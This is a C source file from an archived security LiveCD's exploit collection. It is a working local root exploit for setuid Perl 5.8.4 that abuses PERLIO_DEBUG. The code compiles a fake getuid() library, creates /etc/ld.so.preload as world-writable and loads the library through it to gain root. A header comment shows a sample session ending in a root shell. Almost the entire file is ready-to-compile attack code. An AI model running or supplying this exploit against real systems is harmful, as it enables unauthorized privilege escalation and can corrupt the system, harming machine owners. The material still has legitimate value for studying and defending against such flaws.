home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / ex_perl.c < prev    next >
C/C++ Source or Header  |  2005-03-04  |  2KB  |  66 lines

  1. /*
  2.  * Copyright Kevin Finisterre 
  3.  * 
  4.  * ** DISCLAIMER ** I am in no way responsible for your stupidity.
  5.  * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
  6.  *
  7.  * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
  8.  * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
  9.  * ** WARNING ** have a boot disk ready incase some thing goes wrong.
  10.  *
  11.  * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
  12.  *
  13.  * this exploits a vulnerability in the PERLIO_DEBUG functionality
  14.  * tested against sperl5.8.4 on Debian
  15.  *
  16.  * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
  17.  * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
  18.  * ls: /etc/ld.so.preload: No such file or directory
  19.  * kfinisterre@jdam:~$ ./ex_perl
  20.  * sperl needs fd script
  21.  * You should not call sperl directly; do you need to change a #! line
  22.  * from sperl to perl?
  23.  * kfinisterre@jdam:~$ su -
  24.  * jdam:~# id
  25.  * uid=0(root) gid=0(root) groups=0(root)
  26.  * jdam:~# rm /etc/ld.so.preload
  27.  *
  28.  */
  29.  
  30.  
  31. #define PRELOAD "/etc/ld.so.preload"
  32. #include <stdio.h>
  33. #include <strings.h>
  34.  
  35. int main(int *argc, char **argv)
  36. {
  37.  
  38.         FILE *getuid;
  39.         if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
  40.                 printf("error opening file\n");
  41.                 exit(1);
  42.         }
  43.         
  44.     fprintf(getuid, "int getuid(){return 0;}\n" );
  45.         fclose(getuid);
  46.  
  47.         system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");
  48.  
  49.     putenv("PERLIO_DEBUG="PRELOAD);
  50.         umask(001); // I'm rw-rw-rw james bitch!
  51.         system("/usr/bin/sperl5.8.4");
  52.         FILE *ld_so_preload;
  53.  
  54.         char preload[] = {
  55.                 "/tmp/getuid.so\n"
  56.         };
  57.  
  58.         if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
  59.                 printf("error opening file\n");
  60.                 exit(1);
  61.         }
  62.         fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
  63.         fclose(ld_so_preload);
  64. }
  65.  
  66.